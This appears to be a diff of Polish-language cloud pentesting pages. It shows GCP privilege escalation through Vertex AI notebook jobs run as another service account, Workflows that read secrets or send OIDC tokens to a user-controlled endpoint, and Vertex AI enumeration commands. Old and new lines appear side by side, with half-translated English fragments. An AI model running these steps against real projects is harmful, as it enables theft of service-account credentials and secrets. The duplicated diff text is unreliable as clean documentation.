</details>
<details>
<summary>Uruchom notebook z użyciem docelowego konta usługi</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'
# Monitor job for token in output
# Notebooks execute with the specified service account's permissions
```
</details>
## Źródła
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,11 +12,13 @@ Podstawowe informacje:
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
Z tego co wiem, nie jest możliwe uzyskanie powłoki z dostępem do punktu końcowego metadanych zawierającego dane uwierzytelniające SA przypisanego do Workflow. Jednak możliwe jest nadużycie uprawnień SA, dodając działania do wykonania wewnątrz Workflow.
O ile wiem, nie jest możliwe uzyskanie shell'a z dostępem do endpointu metadanych zawierającego poświadczenia SA przypisanego do Workflow. Można jednak wykorzystać uprawnienia SA, dodając akcje do wykonania wewnątrz Workflow.
Możliwe jest znalezienie dokumentacji konektorów. Na przykład, to jest [**strona konektora Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** W pasku bocznym można znaleźć kilka innych konektorów.
Można znaleźć dokumentację konektorów. Na przykład, to jest the [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** W pasku bocznym można znaleźć kilka innych konektorów.
A tutaj można znaleźć przykład konektora, który drukuje sekret:
A tutaj znajdziesz przykład konektora, który wypisuje sekret:
<details><summary>Workflow YAML configuration to access secrets</summary>
```yaml
main:
params: [input]
@@ -31,16 +33,20 @@ result: str_secret
- returnOutput:
return: "${str_secret}"
```
</details>
Aktualizacja z CLI:
<details><summary>Wdrażanie i uruchamianie workflows z CLI</summary>
```bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
Jeśli otrzymasz błąd taki jak `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, po prostu **poczekaj minutę i spróbuj ponownie**.
Jeśli otrzymasz błąd taki jak `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, po prostu **poczekaj chwilę i spróbuj ponownie**.
Jeśli nie masz dostępu do sieci, możliwe jest wywołanie i zobaczenie wykonania Workflow za pomocą:
Jeśli nie masz dostępu do sieci web, można wywołać i zobacz wykonanie Workflow za pomocą:
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
> [!CAUTION]
> Możesz również sprawdzić wyniki wcześniejszych wykonania, aby poszukać wrażliwych informacji
Zauważ, że nawet jeśli otrzymasz błąd taki jak `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` ponieważ nie masz tej zgody, workflow został wygenerowany.
### Wyciek tokena OIDC (i OAuth?)
Zgodnie z [**dokumentacją**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) możliwe jest użycie kroków workflow, które wyślą żądanie HTTP z tokenem OAuth lub OIDC. Jednak, podobnie jak w przypadku [Cloud Scheduler](gcp-cloudscheduler-privesc.md), żądanie HTTP z tokenem Oauth musi być skierowane do hosta `.googleapis.com`.
</details>
> [!CAUTION]
> Dlatego **możliwe jest wyciekanie tokena OIDC poprzez wskazanie punktu końcowego HTTP** kontrolowanego przez użytkownika, ale aby wyciekł **token OAuth**, potrzebowałbyś **obejścia** tej ochrony. Jednak nadal możesz **kontaktować się z dowolnym API GCP, aby wykonywać działania w imieniu SA** za pomocą konektorów lub żądań HTTP z tokenem OAuth.
> Możesz również sprawdzić output poprzednich wykonanych uruchomień, aby poszukać informacji wrażliwych
Zwróć uwagę, że nawet jeśli otrzymasz błąd taki jak `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` z powodu braku tego uprawnienia, workflow został wygenerowany.
### Leak OIDC token (and OAuth?)
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
> [!CAUTION]
> Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** kontrolowany przez użytkownika, ale aby leakować **OAuth** token potrzebowałbyś **need a bypass** dla tej ochrony. Jednak nadal możesz **contact any GCP api to perform actions on behalf the SA** używając connectors lub HTTP requests z tokenem OAuth.
#### Oauth
<details><summary>Workflow HTTP request with OAuth token</summary>
```yaml
- step_A:
call: http.post
@@ -76,7 +86,9 @@ auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
#### OIDC
</details>#### OIDC
<details><summary>Żądanie HTTP Workflow z tokenem OIDC</summary>
```yaml
- step_A:
call: http.get
@@ -90,8 +102,8 @@ auth:
type: OIDC
audience: OIDC_AUDIENCE
```
### `workflows.workflows.update` ...
</details>### `workflows.workflows.update` ...
Dzięki temu uprawnieniu, zamiast `workflows.workflows.create`, możliwe jest zaktualizowanie już istniejącego workflow i przeprowadzenie tych samych ataków.
Dzięki temu uprawnieniu, zamiast `workflows.workflows.create`, można zaktualizować już istniejący workflow i przeprowadzić te same attacks.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,257 @@
# GCP - Vertex AI Enumeracja
{{#include ../../../banners/hacktricks-training.md}}
## Vertex AI
[Vertex AI](https://cloud.google.com/vertex-ai) jest Google Cloud's **zintegrowaną platformą uczenia maszynowego** do budowania, wdrażania i zarządzania modelami AI na dużą skalę. Łączy różne usługi AI i ML w jednej, zintegrowanej platformie, umożliwiając data scientistom i inżynierom ML:
- **Trenować niestandardowe modele** przy użyciu AutoML lub niestandardowego treningu
- **Wdrażać modele** do skalowalnych punktów końcowych w celu uzyskiwania predykcji
- **Zarządzać cyklem życia ML** od eksperymentów do produkcji
- **Uzyskać dostęp do wstępnie wytrenowanych modeli** z Model Garden
- **Monitorować i optymalizować** wydajność modeli
### Kluczowe komponenty
#### Modele
Vertex AI **modele** reprezentują wytrenowane modele uczenia maszynowego, które można wdrożyć na punktach końcowych do serwowania predykcji. Modele mogą być:
- **Wgrywane** z niestandardowych kontenerów lub artefaktów modelu
- Tworzone przez szkolenie **AutoML**
- Importowane z **Model Garden** (modele wstępnie wytrenowane)
- **Wersjonowane** z wieloma wersjami dla jednego modelu
Każdy model posiada metadane, w tym informacje o frameworku, URI obrazu kontenera, lokalizacji artefaktu oraz konfiguracji serwowania.
#### Punkty końcowe
**Punkty końcowe** to zasoby, które hostują wdrożone modele i obsługują predykcje online. Kluczowe cechy:
- Mogą hostować **wiele wdrożonych modeli** (z dzieleniem ruchu)
- Zapewniają **HTTPS endpoints** dla predykcji w czasie rzeczywistym
- Wspierają **autoskalowanie** w zależności od ruchu
- Mogą używać **prywatnego** lub **publicznego** dostępu
- Wspierają **testy A/B** poprzez dzielenie ruchu
#### Custom Jobs
**Custom jobs** pozwalają uruchamiać niestandardowy kod treningowy używając własnych kontenerów lub pakietów Python. Funkcje obejmują:
- Wsparcie dla **distributed training** z wieloma pulami workerów
- Konfigurowalne **machine types** i **accelerators (GPUs/TPUs)**
- Dołączenie **Service account** do uzyskiwania dostępu do innych zasobów GCP
- Integracja z **Vertex AI Tensorboard** do wizualizacji
- Opcje **VPC connectivity**
#### Hyperparameter Tuning Jobs
Zadania te automatycznie **wyszukują optymalne hiperparametry**, uruchamiając wiele prób treningowych z różnymi kombinacjami parametrów.
#### Model Garden
**Model Garden** zapewnia dostęp do:
- Wstępnie wytrenowanych modeli Google
- Modeli open-source (w tym Hugging Face)
- Modeli firm trzecich
- Możliwości wdrożenia jednym kliknięciem
#### Tensorboards
**Tensorboards** zapewniają wizualizację i monitoring eksperymentów ML, śledząc metryki, grafy modeli i postęp treningu.
### Service Accounts & Permissions
Domyślnie usługi Vertex AI używają **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), które mają uprawnienia **Editor** w projekcie. Jednak można określić niestandardowe service accounts przy:
- Tworzeniu custom jobs
- Wgrywaniu modeli
- Wdrażaniu modeli na punktach końcowych
To konto usługowe jest używane do:
- Dostępu do danych treningowych w Cloud Storage
- Zapisu logów do Cloud Logging
- Dostępu do sekretów z Secret Manager
- Interakcji z innymi usługami GCP
### Przechowywanie danych
- **Artefakty modeli** są przechowywane w bucketach Cloud Storage
- **Dane treningowe** zazwyczaj znajdują się w Cloud Storage lub BigQuery
- **Obrazy kontenerów** są przechowywane w Artifact Registry lub Container Registry
- **Logi** są wysyłane do Cloud Logging
- **Metryki** są wysyłane do Cloud Monitoring
### Szyfrowanie
Domyślnie Vertex AI używa **Google-managed encryption keys**. Możesz również skonfigurować:
- **Customer-managed encryption keys (CMEK)** z Cloud KMS
- Szyfrowanie ma zastosowanie do artefaktów modeli, danych treningowych i punktów końcowych
### Sieć
Zasoby Vertex AI można skonfigurować dla:
- **Publicznego dostępu do internetu** (domyślnie)
- **VPC peering** dla prywatnego dostępu
- **Private Service Connect** dla bezpiecznej łączności
- Wsparcia **Shared VPC**
### Enumeracja
```bash
# List models
gcloud ai models list --region=<region>
gcloud ai models describe <model-id> --region=<region>
gcloud ai models list-version <model-id> --region=<region>
# List endpoints
gcloud ai endpoints list --region=<region>
gcloud ai endpoints describe <endpoint-id> --region=<region>
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
# List custom jobs
gcloud ai custom-jobs list --region=<region>
gcloud ai custom-jobs describe <job-id> --region=<region>
# Stream logs from a running job
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
# List hyperparameter tuning jobs
gcloud ai hp-tuning-jobs list --region=<region>
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
# List model monitoring jobs
gcloud ai model-monitoring-jobs list --region=<region>
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
# List Tensorboards
gcloud ai tensorboards list --region=<region>
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
# List indexes (for vector search)
gcloud ai indexes list --region=<region>
gcloud ai indexes describe <index-id> --region=<region>
# List index endpoints
gcloud ai index-endpoints list --region=<region>
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
# Get operations (long-running operations status)
gcloud ai operations describe <operation-id> --region=<region>
# Test endpoint predictions (if you have access)
gcloud ai endpoints predict <endpoint-id> \
--region=<region> \
--json-request=request.json
# Make direct predictions (newer API)
gcloud ai endpoints direct-predict <endpoint-id> \
--region=<region> \
--json-request=request.json
```
### Zbieranie informacji o modelu
```bash
# Get detailed model information including versions
gcloud ai models describe <model-id> --region=<region>
# Check specific model version
gcloud ai models describe <model-id>@<version> --region=<region>
# List all versions of a model
gcloud ai models list-version <model-id> --region=<region>
# Get model artifact location (usually a GCS bucket)
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
# Get container image URI
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
```
### Szczegóły punktu końcowego
```bash
# Get endpoint details including deployed models
gcloud ai endpoints describe <endpoint-id> --region=<region>
# Get endpoint URL
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
# Get service account used by endpoint
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
# Check traffic split between models
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
```
### Informacje o Custom Job
```bash
# Get job details including command, args, and service account
gcloud ai custom-jobs describe <job-id> --region=<region>
# Get service account used by job
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
# Get container image used
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
# Check environment variables (may contain secrets)
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
# Get network configuration
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
```
### Kontrola dostępu
```bash
# Note: IAM policies for individual Vertex AI resources are managed at the project level
# Check project-level permissions
gcloud projects get-iam-policy <project-id>
# Check service account permissions
gcloud iam service-accounts get-iam-policy <service-account-email>
# Check if endpoints allow unauthenticated access
# This is controlled by IAM bindings on the endpoint
gcloud projects get-iam-policy <project-id> \
--flatten="bindings[].members" \
--filter="bindings.role:aiplatform.user"
```
### Przechowywanie i Artefakty
```bash
# Models and training jobs often store artifacts in GCS
# List buckets that might contain model artifacts
gsutil ls
# Common artifact locations:
# gs://<project>-aiplatform-<region>/
# gs://<project>-vertex-ai/
# gs://<custom-bucket>/vertex-ai/
# Download model artifacts if accessible
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
# Check for notebooks in AI Platform Notebooks
gcloud notebooks instances list --location=<location>
gcloud notebooks instances describe <instance-name> --location=<location>
```
### Model Garden
```bash
# List Model Garden endpoints
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
# Model Garden models are often deployed with default configurations
# Check for publicly accessible endpoints
```
### Eskalacja uprawnień
Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień Vertex AI, aby uzyskać wyższe uprawnienia**:
{{#ref}}
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
{{#endref}}
## Źródła
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
{{#include ../../../banners/hacktricks-training.md}}